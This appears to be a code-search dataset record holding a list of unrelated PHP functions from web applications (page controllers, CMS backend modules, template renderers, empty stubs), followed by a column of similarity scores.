"public function htmlValue() {\n \n //Tableau Entête\n //- objet de la table_entete \n $arra_module = pnModGetInfo(pnModGetIDFromName($_GET['name']));\n //Si module visuclient affichage site ou groupe(si plusieurs site)\n if ($this->bool_title) {\n if ($arra_module['displayname'] == _DISPLAY_MOD_VISUCLIENT) {\n if ($_SESSION['SITE_CLIENT'] != \"TOUS\") {\n $affichage = str_replace(\"_\", \" \", $_SESSION['SITE_CLIENT']);\n } else {\n $affichage = _ALL_SITE . \"\" . str_replace(\"_\", \" \", $_SESSION['GROUPE_CLIENT']);\n } //Afichage sans underscore mais avec espace\n $obj_font_title0 = new font($arra_module['displayname'] . ' ' . $affichage, true);\n $obj_font_title0->setStyle('font-size:27px');\n } else {\n if ($arra_module['displayname']!=\"\"){\n $obj_font_title0 = new font($arra_module['displayname'] . ' V ' . $arra_module['version'], true);\n $obj_font_title0->setStyle('font-size:27px');\n }\n }\n } else {\n $obj_font_title0 = new font($this->stri_title, true);\n $obj_font_title0->setStyle('font-size:27px');\n }\n\n //LOGO SAVOYELINE\n if ($_SERVER['SERVER_ADDR'] == '10.10.100.98') {\n $obj_img_Savoye = new img(\"images/MaJ_graphique/logo_a_sis_test.gif\");\n $obj_img_Savoye->setStyle(\"cursor:pointer;padding:2px;\");\n $obj_img_Savoye->setBorder(\"0\");\n $obj_img_Savoye->setHeight(\"60px\");\n $obj_img_Savoye->setWidth(\"150px\"); \n $obj_img_Savoye->setTitle(\"Savoyeline\");\n $obj_img_Savoye->setAlt(\"Savoyeline\");\n $obj_a_Savoye = new a(\"http://\" . $_SERVER['SERVER_NAME'] . \"/\", $obj_img_Savoye->htmlValue(), true);\n $obj_a_Savoye->setTarget(\"http://\" . $_SERVER['SERVER_NAME'] . \"/\");\n } else {\n $obj_img_Savoye = new img(\"images/MaJ_graphique/logo_a_sis_gf.png\");\n $obj_img_Savoye->setStyle(\"cursor:pointer;padding:2px;\");\n $obj_img_Savoye->setBorder(\"0\");\n $obj_img_Savoye->setHeight(\"60px\");\n $obj_img_Savoye->setWidth(\"150px\");\n $obj_img_Savoye->setTitle(\"Savoyeline\");\n $obj_img_Savoye->setAlt(\"Savoyeline\");\n $obj_a_Savoye = new a(\"/index.php\", $obj_img_Savoye->htmlValue(), true);\n }\n\n //LOGO ENTREPRISE\n $obj_img_logo = new img($this->CreateLogo());\n //$obj_img_logo->setStyle(\"cursor:pointer;padding:2px;padding-right:10px;\");\n $obj_img_logo->setStyle(\"padding:2px;padding-right:10px;\");\n $obj_img_logo->setBorder(\"0\");\n $obj_img_logo->setTitle($this->getRaisonSociale());\n $obj_img_logo->setAlt($this->getRaisonSociale());\n $obj_img_logo->setHeight(\"60px\");\n $obj_img_logo->setWidth(\"165px\");\n //$obj_a_logo = new a(\"http://\" . $_SERVER['SERVER_NAME'] . \"/\", $obj_img_logo->htmlValue(), true);\n //$obj_a_logo->setTarget(\"http://\" . $_SERVER['SERVER_NAME'] . \"/\");\n\n //Création table \n $obj_table_entete = new table();\n $obj_tr = $obj_table_entete->addTr();\n \n //Bascule\n $obj_a_Savoye=($this->bool_logo_savoye)?$obj_a_Savoye:null;\n\n $obj_td = $obj_tr->addTd($obj_a_Savoye);\n $obj_td->setWidth(\"150px\");\n $obj_td->setRowspan(2);\n $obj_td->setAlign('left');\n\n $obj_td = $obj_tr->addTd($obj_font_title0);\n $obj_td->setAlign('center');\n $obj_td->setStyle('height : 64px;');\n \n //Bascule\n $obj_img_logo=($this->bool_logo_firm)?$obj_img_logo:null;\n\n $obj_td = $obj_tr->addTd($obj_img_logo);\n $obj_td->setWidth(\"150px\");\n $obj_td->setRowspan(2);\n $obj_td->setAlign('right');\n\n if($this->bool_lang)\n {\n $obj_td = $obj_tr->addTd($this->displayLang());\n $obj_td->setWidth(\"180px\");\n $obj_td->setRowspan(2);\n $obj_td->setAlign('right');\n }\n else\n {$obj_td = $obj_tr->addTd(\"\");}\n\n \n $obj_table_entete->setClass(\"titre0\");\n $obj_table_entete->setBorder(\"0\");\n $obj_table_entete->setWidth(\"100%\");\n\n return $obj_table_entete->htmlValue();\n }",
"function cl_sau_agendaexames() {\n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"sau_agendaexames\");\n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }",
"public function AggiornaPrezzi(){\n\t}",
"function network_admin_html()\n {\n }",
"function owa_main() {\r\n\t\r\n\t//global $user_level;\r\n\t\r\n\t$owa = owa_getInstance();\r\n\towa_coreAPI::debug('wp main request method');\r\n\t\r\n\t//Check to see if this is a Feed Reeder\r\n\tif( $owa->getSetting('base', 'log_feedreaders') && is_feed() ) {\r\n\t\t$event = $owa->makeEvent();\r\n\t\t$event->setEventType('base.feed_request');\r\n\t\t$event->set('feed_format', $_GET['feed']);\r\n\t\t// Process the request by calling owa\r\n\t\treturn $owa->trackEvent($event);\r\n\t}\r\n\t\r\n\t// Set the type and title of the page\r\n\t$page_type = owa_get_page_type();\r\n\t$owa->setPageType( $page_type );\r\n\t// Get Title of Page\r\n\t$owa->setPageTitle( owa_get_title( $page_type ) );\r\n}",
"public function main()\n {\n $lang = $this->getLanguageService();\n // Access check...\n // The page will show only if there is a valid page and if this page may be viewed by the user\n $access = is_array($this->pageinfo) ? 1 : 0;\n // Content\n $content = '';\n if ($this->id && $access) {\n // Initialize permission settings:\n $this->CALC_PERMS = $this->getBackendUser()->calcPerms($this->pageinfo);\n $this->EDIT_CONTENT = $this->contentIsNotLockedForEditors();\n\n $this->moduleTemplate->getDocHeaderComponent()->setMetaInformation($this->pageinfo);\n\n // override the default jumpToUrl\n $this->moduleTemplate->addJavaScriptCode('jumpToUrl', '\n function jumpToUrl(URL,formEl) {\n if (document.editform && TBE_EDITOR.isFormChanged) { // Check if the function exists... (works in all browsers?)\n if (!TBE_EDITOR.isFormChanged()) {\n window.location.href = URL;\n } else if (formEl) {\n if (formEl.type==\"checkbox\") formEl.checked = formEl.checked ? 0 : 1;\n }\n } else {\n window.location.href = URL;\n }\n }\n ');\n $this->moduleTemplate->addJavaScriptCode('mainJsFunctions', '\n if (top.fsMod) {\n top.fsMod.recentIds[\"web\"] = ' . (int)$this->id . ';\n top.fsMod.navFrameHighlightedID[\"web\"] = \"pages' . (int)$this->id . '_\"+top.fsMod.currentBank; ' . (int)$this->id . ';\n }\n ' . ($this->popView ? BackendUtility::viewOnClick($this->id, '', BackendUtility::BEgetRootLine($this->id)) : '') . '\n function deleteRecord(table,id,url) { //\n window.location.href = ' . GeneralUtility::quoteJSvalue(BackendUtility::getModuleUrl('tce_db') . '&cmd[')\n . ' + table + \"][\" + id + \"][delete]=1&redirect=\" + encodeURIComponent(url) + \"&prErr=1&uPT=1\";\n return false;\n }\n ');\n\n // Find backend layout / columns\n $backendLayout = GeneralUtility::callUserFunction(BackendLayoutView::class . '->getSelectedBackendLayout', $this->id, $this);\n if (!empty($backendLayout['__colPosList'])) {\n $this->colPosList = implode(',', $backendLayout['__colPosList']);\n }\n // Removing duplicates, if any\n $this->colPosList = array_unique(GeneralUtility::intExplode(',', $this->colPosList));\n // Accessible columns\n if (isset($this->modSharedTSconfig['properties']['colPos_list']) && trim($this->modSharedTSconfig['properties']['colPos_list']) !== '') {\n $this->activeColPosList = array_unique(GeneralUtility::intExplode(',', trim($this->modSharedTSconfig['properties']['colPos_list'])));\n // Match with the list which is present in the colPosList for the current page\n if (!empty($this->colPosList) && !empty($this->activeColPosList)) {\n $this->activeColPosList = array_unique(array_intersect(\n $this->activeColPosList,\n $this->colPosList\n ));\n }\n } else {\n $this->activeColPosList = $this->colPosList;\n }\n $this->activeColPosList = implode(',', $this->activeColPosList);\n $this->colPosList = implode(',', $this->colPosList);\n\n $content .= $this->getHeaderFlashMessagesForCurrentPid();\n\n // Render the primary module content:\n if ($this->MOD_SETTINGS['function'] == 1 || $this->MOD_SETTINGS['function'] == 2) {\n $content .= '<form action=\"' . htmlspecialchars(BackendUtility::getModuleUrl($this->moduleName, ['id' => $this->id, 'imagemode' => $this->imagemode])) . '\" id=\"PageLayoutController\" method=\"post\">';\n // Page title\n $content .= '<h1 class=\"t3js-title-inlineedit\">' . htmlspecialchars($this->getLocalizedPageTitle()) . '</h1>';\n // All other listings\n $content .= $this->renderContent();\n }\n $content .= '</form>';\n $content .= $this->searchContent;\n // Setting up the buttons for the docheader\n $this->makeButtons();\n // @internal: This is an internal hook for compatibility7 only, this hook will be removed without further notice\n if ($this->MOD_SETTINGS['function'] != 1 && $this->MOD_SETTINGS['function'] != 2) {\n $renderActionHook = $GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS'][self::class]['renderActionHook'];\n if (is_array($renderActionHook)) {\n foreach ($renderActionHook as $hook) {\n $params = [\n 'deleteButton' => $this->deleteButton,\n ''\n ];\n $content .= GeneralUtility::callUserFunction($hook, $params, $this);\n }\n }\n }\n // Create LanguageMenu\n $this->makeLanguageMenu();\n } else {\n $this->moduleTemplate->addJavaScriptCode(\n 'mainJsFunctions',\n 'if (top.fsMod) top.fsMod.recentIds[\"web\"] = ' . (int)$this->id . ';'\n );\n $content .= '<h1>' . htmlspecialchars($GLOBALS['TYPO3_CONF_VARS']['SYS']['sitename']) . '</h1>';\n $view = GeneralUtility::makeInstance(StandaloneView::class);\n $view->setTemplatePathAndFilename(GeneralUtility::getFileAbsFileName('EXT:backend/Resources/Private/Templates/InfoBox.html'));\n $view->assignMultiple([\n 'title' => $lang->getLL('clickAPage_header'),\n 'message' => $lang->getLL('clickAPage_content'),\n 'state' => InfoboxViewHelper::STATE_INFO\n ]);\n $content .= $view->render();\n }\n // Set content\n $this->moduleTemplate->setContent($content);\n }",
"public function partirAuTravail(): void\n\t{\n\t}",
"public function sobre() {\n $this->template->set_title( 'Work for all - Sobre' );\n\n // renderiza a pagina\n\t\t$this->template->render( 'sobre' );\n }",
"public function index()\n {\n $datas = $this->_model->getTakes();\n $this->render('Take/index', ['datas' => $datas, 'title' => 'Page d\\'emprunt']);\n }",
"private function home() {\n // busca as categorias do bd\n $categorias = $this->model->visualizarCategorias();\n // seta as categorias para a view\n $this->view->setCategorias($categorias);\n // passa o arquivo home\n $file = $this->templates . 'home.php';\n \n // retorna o conteudo da tela home para o usuario\n $this->telaUser = $this->view->retornaTela($file);\n }",
"function cl_avaliacaoestruturanota() {\n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"avaliacaoestruturanota\");\n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }",
"function after_render_tealium_html() {\r\n \r\n }",
"public function ledenOverzicht() {\n if (!$this->authex->loggedIn()) {\n redirect('home/login');\n }\n\n $data['title'] = 'Leden beheren';\n $data['auteur'] = 'Stefanie Seker';\n $data['nobox'] = true; // geen extra rand rond hoofdmenu\n $data['user'] = $this->authex->getUserInfo();\n\n $partials = array('header' => 'main_header', 'content' => 'ledenlijst', 'menu' => 'main_menu');\n $this->template->load('main_master', $partials, $data);\n }",
"function cl_rhfolhapagamento() { \n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"rhfolhapagamento\"); \n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }",
"public function website() {\n\t\treturn $this->webpage;\n\t}",
"function meditation() {\n$header = new header();\n$header->music(\"Nhạc thiền\");\n\nif(isset($_REQUEST['id'])){\n\tif($_REQUEST['id']=='nhacphat')\n\t{\n\t\t$url='http://nhacthien.net/nhacphat.htm';\n\t}\n}\n\nelse {\n$path = \"/\";\n$url=\"http://www.nhacthien.net/\";\n}\n$indexpage = \"?nhacthien\"; \n\n$trans= new web_transfer();\n$indexpage='/';\n$base='/';\n$trans->initiate_news ($url,$indexpage); \n$trans->converturl($url,$base);\n$content ='';\n$trans->start_transfer(\"www.nhacthien.net\");\n$trans->getcontent($content);\n\n//start social plugin\n$content=str_replace('<div id=\"controls\">','<div class=\"social\"><a href=\"https://twitter.com/share\" class=\"twitter-share-button\" data-lang=\"en\">Tweet</a><div data-size=\"medium\" class=\"g-plusone\"></div><div class=\"fb-like\" data-href=\"http://myweb.pro.vn/music/meditation/\" data-layout=\"button_count\" data-action=\"recommend\" data-show-faces=\"true\" data-share=\"true\"></div></div>',$content);\n//end social plugin\n\n//hide right element\n$content=str_replace('<a href=\"\" class=\"music-button\">','<a href=\"http://myweb.pro.vn/music/meditation/\" class=\"music-button\">',$content);\n$content=str_replace('<a href=\"xem-video.html\" class=\"video-button\">','<a href=\"xem-video.html\" style=\"display:none\" class=\"video-button\">',$content);\n//end\n\n$content=str_replace('<li><a href=\"http://www.cakhucbathu.com\">CA KHÚC BẤT HỦ</a></li>','<li style=\"dislay:none\" id=\"cakhucbathu\"><a href=\"http://www.cakhucbathu.com\">CA KHÚC BẤT HỦ</a></li><script>document.getElementById(\"cakhucbathu\").remove();</script>',$content);\n$content=str_replace('<li><a href=\"http://www.petalia.org\">PETALIA NETWORK</a>','<a style=\"display:none\" id=\"petalia_temp_remove\" href=\"http://www.petalia.org\">PETALIA NETWORK</a></li><script>document.getElementById(\"petalia_temp_remove\").remove();</script>',$content);\n$content=str_replace('<div id=\"social\">','<div id=\"social\" style=\"display:none\">',$content);\n$content=str_replace('style=\"width:100%;display:inline-block;\"','id=\"fb_album_remove\" style=\"display:none\"',$content);\n$content=str_replace('http://www.facebook.com/nhackhongloi','https://www.facebook.com/elearningsocialvn?ref=hl',$content);\n\n//start change the url\n$content=str_replace('<a href=\"http://www.nhacthien.net\">TRỞ LẠI NHẠC THIỀN</a>','<a href=\"http://myweb.pro.vn/music/meditation/\">TRỞ LẠI NHẠC THIỀN</a>',$content);\n$content=str_replace('<a href=\"http://www.mangamnhac.net\">MẠNG ÂM NHẠC</a>','<a href=\"http://myweb.pro.vn/music/general/\">TỔNG HỢP</a>',$content);\n$content=str_replace('Nhạc thiền trên Facebook','Học tập và giải trí',$content);\n$content=str_replace('data-href=\"http://nhacthien.net\"','data-href=\"http://myweb.pro.vn/music/meditation/\"',$content);\n$content=str_replace('www.facebook.com/nhacthien','www.facebook.com/elearningsocialvn?ref=hl',$content);\n$content=str_replace('nhackhongloi.org','myweb.pro.vn/music/nhackhongloi',$content);\n$content=str_replace('www.tinhkhucbathu.com','myweb.pro.vn/music/tinhkhucbathu',$content);\n$content=str_replace('www.nhacphap.com','myweb.pro.vn/music/nhacphap',$content);\n$content=str_replace('http://nhacthien.net/nhacphat.htm','http://myweb.pro.vn/music/meditation?id=nhacphat',$content);\n$content=str_replace('www.nhacdance.net','myweb.pro.vn/music/dance/',$content);\n//end change the url\n\n$content=str_replace('/skins','http://www.nhackhongloi.org/skins/',$content);\n$content=str_replace('</body>','<p class=\"append_footer_iframe\"><p/></body>',$content);\npreg_match_all('/<body>(.*?)<p class=\"append_footer_iframe\">/s',$content,$matches,PREG_SET_ORDER);\nforeach($matches as $key_music);\n$data['content']=$key_music[0];\n//start analytic\n$analytic = new analytic();\n$analytic->myweb('general');\n//end analytic\n$this->load->view('/music/nhacthien',$data);\n}",
"function index()\n\t{\n\t\t$data['hardware'] = $this->Mhardware->tampil_hardware();\n\t\t//mengambil data dari fungsi tampil_departemen\n\t\t$data['departemen'] = $this->Mdepartemen->tampil_departemen();\n\t\t\n\t\t$data['judul'] = \"Tabel Aset Kantor\";\n\t\t$this->theme->set_ui(\"admin/tampilhardware\", $data);\n\t}",
"public function mainAction(){\n \n $site = new model\\siteModel();\n $site->set_headerTitle(\"Levi DeHaan\");\n \n $site->set_menu(array(\"Home\"=>\"#/home\", \"Projects\"=>\"#/projects\"));\n $site->set_leftTitle(\"Programmer/Sys Admin\");\n $site->set_leftBody(\"Self taught, motivated, leader of silent ninja code assasins and cats.\");\n $site->set_rightTitle(\"Ninjas and Dragons\");\n $site->set_rightBody(\"The Awesome Starts Here\");\n $site->set_body(\"There are words here\");\n $site->set_footer(\"Levi DeHaan\");\n \n \n $this->headerTitle = $site->get_headerTitle();\n $this->menu = $site->get_menu();\n $this->leftTitle = $site->get_leftTitle();\n $this->leftBody = $site->get_leftBody();\n $this->rightTitle = $site->get_rightTitle();\n $this->rightBody = $site->get_rightBody();\n $this->body = $site->get_body();\n $this->footer = $site->get_footer();\n }",
"function cl_bomov() { \n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"bomov\"); \n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }",
"public function getWebPath()\n {\n }",
"function cl_empreendimento() {\n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"empreendimento\");\n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }",
"function cl_evolucaodividaativa() {\n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"evolucaodividaativa\");\n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }",
"function main()\t{\n\t\t\t\t\tglobal $BE_USER,$LANG,$BACK_PATH,$TCA_DESCR,$TCA,$CLIENT,$TYPO3_CONF_VARS;\n\n\t\t\t\t\t// Access check!\n\t\t\t\t\t// The page will show only if there is a valid page and if this page may be viewed by the user\n\t\t\t\t\t$this->pageinfo = t3lib_BEfunc::readPageAccess($this->id,$this->perms_clause);\n\t\t\t\t\t$access = is_array($this->pageinfo) ? 1 : 0;\n\t\t\t\t\n\t\t\t\t\tif (($this->id && $access) || ($BE_USER->user['admin'] && !$this->id))\t{\n\n\t\t\t\t\t\t\t// Draw the header.\n\t\t\t\t\t\t$this->doc = t3lib_div::makeInstance('mediumDoc');\n\t\t\t\t\t\t$this->doc->backPath = $BACK_PATH;\n\t\t\t\t\t\t$this->doc->form='<form action=\"\" method=\"post\" enctype=\"multipart/form-data\">';\n\n\t\t\t\t\t\t\t// JavaScript\n\t\t\t\t\t\t$this->doc->JScode = '\n\t\t\t\t\t\t\t<script language=\"javascript\" type=\"text/javascript\">\n\t\t\t\t\t\t\t\tscript_ended = 0;\n\t\t\t\t\t\t\t\tfunction jumpToUrl(URL)\t{\n\t\t\t\t\t\t\t\t\tdocument.location = URL;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tfunction confirmURL(text,URL){\n\t\t\t\t\t\t\t\t\tvar agree=confirm(text);\n\t\t\t\t\t\t\t\t\tif (agree) {\n\t\t\t\t\t\t\t\t\t\tjumpToUrl(URL);\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t</script>\n\t\t\t\t\t\t';\n\t\t\t\t\t\t$this->doc->postCode='\n\t\t\t\t\t\t\t<script language=\"javascript\" type=\"text/javascript\">\n\t\t\t\t\t\t\t\tscript_ended = 1;\n\t\t\t\t\t\t\t\tif (top.fsMod) top.fsMod.recentIds[\"web\"] = 0;\n\t\t\t\t\t\t\t</script>\n\t\t\t\t\t\t';\n\n\t\t\t\t\t\t$headerSection = $this->doc->getHeader('pages', $this->pageinfo, $this->pageinfo['_thePath']) . '<br />'\n\t\t\t\t\t\t\t. $LANG->sL('LLL:EXT:lang/locallang_core.xml:labels.path') . ': ' . t3lib_div::fixed_lgd_cs($this->pageinfo['_thePath'], -50);\n\n\t\t\t\t\t\t$this->content.=$this->doc->startPage($LANG->getLL('title'));\n\t\t\t\t\t\t$this->content.=$this->doc->header($LANG->getLL('title'));\n\t\t\t\t\t\t$this->content.=$this->doc->spacer(5);\n\t\t\t\t\t\t$this->content.=$this->doc->section('',$this->doc->funcMenu($headerSection,t3lib_BEfunc::getFuncMenu($this->id,'SET[function]',$this->MOD_SETTINGS['function'],$this->MOD_MENU['function'])));\n\t\t\t\t\t\t$this->content.=$this->doc->divider(5);\n\n\n\t\t\t\t\t\t// Render content:\n\t\t\t\t\t\t$this->moduleContent();\n\n\n\t\t\t\t\t\t// ShortCut\n\t\t\t\t\t\tif ($BE_USER->mayMakeShortcut())\t{\n\t\t\t\t\t\t\t$this->content.=$this->doc->spacer(20).$this->doc->section('',$this->doc->makeShortcutIcon('id',implode(',',array_keys($this->MOD_MENU)),$this->MCONF['name']));\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t$this->content.=$this->doc->spacer(10);\n\t\t\t\t\t} else {\n\t\t\t\t\t\t\t// If no access or if ID == zero\n\n\t\t\t\t\t\t$this->doc = t3lib_div::makeInstance('mediumDoc');\n\t\t\t\t\t\t$this->doc->backPath = $BACK_PATH;\n\n\t\t\t\t\t\t$this->content.=$this->doc->startPage($LANG->getLL('title'));\n\t\t\t\t\t\t$this->content.=$this->doc->header($LANG->getLL('title'));\n\t\t\t\t\t\t$this->content.=$this->doc->spacer(5);\n\t\t\t\t\t\t$this->content.=$this->doc->spacer(10);\n\t\t\t\t\t}\n\t\t\t\t\n\t\t\t\t}",
"public function ee_breakouts_page_load() {}",
"public function siteUrl() {}",
"function cl_contacorrenteregravinculo() { \n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"contacorrenteregravinculo\"); \n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }",
"function setoran_twp()\n\t{\n\t\t$data['container'] = 'transaction/upload_setor_twp';\n\t\t$data['title'] = \"Upload Setoran Tabungan TWP\";\n\t\t$this->load->view('core',$data);\n\t}",
"public function cadastro()\n\t\t{\n\t\t\t$loader = new \\Twig\\Loader\\FilesystemLoader('app/view');\n\t\t\t$twig = new \\Twig\\Environment($loader, [\n\t\t\t 'cache' => 'app/cache',\n\t\t\t 'auto_reload' => true\n\t\t\t]);\n\t\t\t$template = $twig->load('Inscrever-se.html');\n\t\t\t$parametros = array();\n\n\t\t\t#URL QUE ESTÁ NAS VIEWS\n\t\t\t$parametros['url'] = \"http://radiocampusapi.com.br/\";\n\t\t\n\t\t\t$conteudo = $template->render($parametros);\n\t\t\techo $conteudo;\n\t\t}",
"function cl_ensino() {\n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"ensino\");\n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }",
"function index(){\n\t\t//$this->nsmarty->assign('data_tingkatan', $data_tingkatan);\n\t\t$this->nsmarty->assign( 'judulbesar', \"www.aldeaz.id\" );\n\t\t$this->nsmarty->assign( 'judulkecil', \"Klik -->katalog -->pilih zona -->cari buku -->beli\" );\n\t\t\t\t\n\t\t$this->nsmarty->assign('konten', 'beranda');\t\t\n\t\t$this->nsmarty->display( 'frontend/main-index.html');\t\t\n\t}",
"public function portifolio() {\n $this->load_template('portifolio');\n }",
"public function getWebpage()\n\t{\n\t\treturn $this->webpage;\n\t}",
"function __construct()\n {\n parent::__construct();\n \n $html = new THtmlRenderer('app/resources/quem_somos.html'); \n \n $panel = new TPanelGroup('Quem Somos');\n TTransaction::open('futapp');\n $site = new Site(1);\n TTransaction::close();\n \n $replaces = [];\n $replaces['texto'] = $site->quem_somos;\n \n // replace the main section variables\n $html->enableSection('main', $replaces);\n $panel->add($html);\n \n $vbox = TVBox::pack($panel);\n $vbox->style = 'display:block; width: 90%';\n \n // add the template to the page\n parent::add( $vbox );\n }",
"function mostraPagina()\n\t\t{\n\t\t$this->aggiungiElemento(\"Scheda argomento\", \"titolo\");\n\t\t$this->aggiungiElemento($this->modulo);\n\t\t$this->mostra();\n\t\t\t\n\t\t}",
"public function init() {\n\t\t$this->_temporizador = new Trf1_Admin_Timer ();\n\t\t$this->_temporizador->Inicio ();\n\t\t\n $this->view->titleBrowser = 'e-Sosti - Sistema de Atendimento a Solicitações de TI';\n $this->view->module = $this->getRequest()->getModuleName();\n $this->view->controller = $this->getRequest()->getControllerName();\n $this->view->action = $this->getRequest()->getActionName();\n }",
"function title() {\n parent::title();\n\n if (Session::haveRight('internet', UPDATE)\n && Session::canViewAllEntities()) {\n\n echo \"<div class='spaced' id='tabsbody'>\";\n echo \"<table class='tab_cadre_fixe'>\";\n\n echo \"<tr><td class='center'>\";\n Html::showSimpleForm(IPNetwork::getFormURL(), 'reinit_network',\n __('Reinit the network topology'));\n\n echo \"</td></tr>\";\n\n echo \"</table>\";\n echo \"</div>\";\n }\n }",
"public function init()\n {\n\t\t$this->_temporizador = new Trf1_Admin_Timer ();\n\t\t$this->_temporizador->Inicio ();\n\t\t\n $this->view->titleBrowser = 'e-Sosti';\n }",
"static function id(): string { return 'website'; }",
"public function index()\n\t{\n\t\t$data['title'] = \"Lettre d'engagement - Fiche de renseignement personnel\";\n\t\t$page = $this->load->view('V_lettre', $data, true);\n $pagescript = $this->load->view('commun/V_scriptmain', $data, true);\n\n $this->load->view('commun/V_template', array('contenu' => $page , 'scripts' => $pagescript));\n\n \n\n\t}",
"function cl_rhconsignadomovimentoservidorrubrica() { \n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"rhconsignadomovimentoservidorrubrica\"); \n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }",
"public function init()\n {\n\t\t$this->view->titleBrowser = 'e-Transporte';\n }",
"function ToonFormulierAfspraak()\n{\n\n}",
"protected function page_default () {\r\n\t\t$skeleton = new xhtml ('skeleton.basic');\r\n\t\t$skeleton->load();\r\n\t\t$content=\"\";\r\n\t\t/**\r\n\t\t * Fetch the body content template\r\n\t\t */\r\n\t\tif(config::get('locale')!='') {\r\n\t\t\t$body = new xhtml ('body.vidtuts.'.config::get('locale'));\r\n\t\t} else {\r\n\t\t\t$body = new xhtml ('body.vidtuts');\r\n\t\t}\r\n\t\t$body->load();\r\n\r\n\t\t/**\r\n\t\t * Fetch the translated terms\r\n\t\t */\r\n\t\t$query = \"SELECT \";\r\n\t\t$query.= \"`html` \";\r\n\t\t$query.= \"FROM \";\r\n\t\t$query.= \"`page_terms_translations` \";\r\n\t\t$query.= \"WHERE \";\r\n\t\t$query.= \"`locale`='\".config::get('locale').\"' \";\r\n\t\t$query.= \"LIMIT 1\";\r\n\r\n\t\t$result = database::query($query);\r\n\r\n\t\tif($result && mysql_error()=='' && mysql_num_rows($result) > 0) {\r\n\t\t\t$row = mysql_fetch_assoc($result);\r\n\r\n\t\t\t$date = date('d/m/Y');\r\n\r\n\t\t\t$content = str_replace('{{ date }}',$date,stripslashes($row['html']));\r\n\t\t}\r\n\r\n\t\t$body->assign('content',$content);\r\n \r\n\t\t/**\r\n\t\t * Fetch the page details\r\n\t\t */\r\n\t\t$page = new page('terms');\r\n\r\n\t\t/**\r\n\t\t * Build the output\r\n\t\t */\r\n\t\t$skeleton->assign (\r\n\t\t\tarray (\r\n\t\t\t\t'title'\t\t\t=> /*$page->title()*/'Video Tutorials',\r\n\t\t\t\t'keywords'\t\t=> $page->keywords(),\r\n\t\t\t\t'description'\t=> $page->description(),\r\n\t\t\t\t'body'\t\t\t=> $body\r\n\t\t\t)\r\n\t\t);\r\n \r\n\t\toutput::as_html($skeleton,true);\r\n \r\n\t}",
"public function getWebsite();",
"public function testWebpage(): void\n {\n $this->wd->get('file:///' . __DIR__ . '/webpage.html');\n $this->assertSame('Page header', $this->findByCss('h1')->getText());\n\n // Save some dummy data to the Legacy\n $legacy = new Legacy($this);\n $legacy->saveWithName(['fooBarData'], 'dummy-data');\n }",
"public function index1()\n\t{\n\t\trequire_once 'view/header.php';\n\t\trequire_once 'view/class04tramite/index1.php';\n\t\t\n\t\n\t\trequire_once 'view/footer.php';\n\t}",
"function cl_empagemovslips() { \n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"empagemovslips\"); \n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }",
"public function getSite();",
"function cl_aguacorte() { \n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"aguacorte\"); \n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }",
"function cl_rechumano() { \n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"rechumano\"); \n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }"
] | [
"0.6247673",
"0.5932349",
"0.58466667",
"0.5799417",
"0.5780615",
"0.57389694",
"0.57339245",
"0.571017",
"0.5699475",
"0.5698127",
"0.5687558",
"0.56628543",
"0.5655297",
"0.5643724",
"0.5640859",
"0.56399816",
"0.5623959",
"0.5615046",
"0.5596386",
"0.55938315",
"0.5593235",
"0.5582013",
"0.5576827",
"0.55754405",
"0.55696213",
"0.55416805",
"0.5535814",
"0.55356765",
"0.55336535",
"0.55273163",
"0.55245984",
"0.5523418",
"0.5519371",
"0.5515069",
"0.55134326",
"0.5511273",
"0.54839313",
"0.54754823",
"0.54665524",
"0.5447995",
"0.54287565",
"0.54281515",
"0.5427484",
"0.54271984",
"0.54263294",
"0.54242265",
"0.5423177",
"0.5415135",
"0.5413985",
"0.54130584",
"0.5407336",
"0.5405635",
"0.53997403",
"0.53917986",
"0.53907883",
"0.5390398",
"0.5389568",
"0.5385456",
"0.53846717",
"0.5382303",
"0.5377064",
"0.5376128",
"0.537444",
"0.53713",
"0.5369099",
"0.5368732",
"0.5363408",
"0.5362917",
"0.5355127",
"0.5353204",
"0.5352616",
"0.5350165",
"0.5342433",
"0.53411305",
"0.5340456",
"0.53382313",
"0.5325013",
"0.53222424",
"0.5319807",
"0.5319791",
"0.5314172",
"0.5310577",
"0.5304812",
"0.5304057",
"0.53019315",
"0.53010213",
"0.53005",
"0.5297228",
"0.529692",
"0.5296805",
"0.5295797",
"0.5294596",
"0.5293204",
"0.52895504",
"0.52862954",
"0.5285117",
"0.52843666",
"0.5282224",
"0.5279762",
"0.5278708",
"0.5275303"
] | 0.0 | -1 |
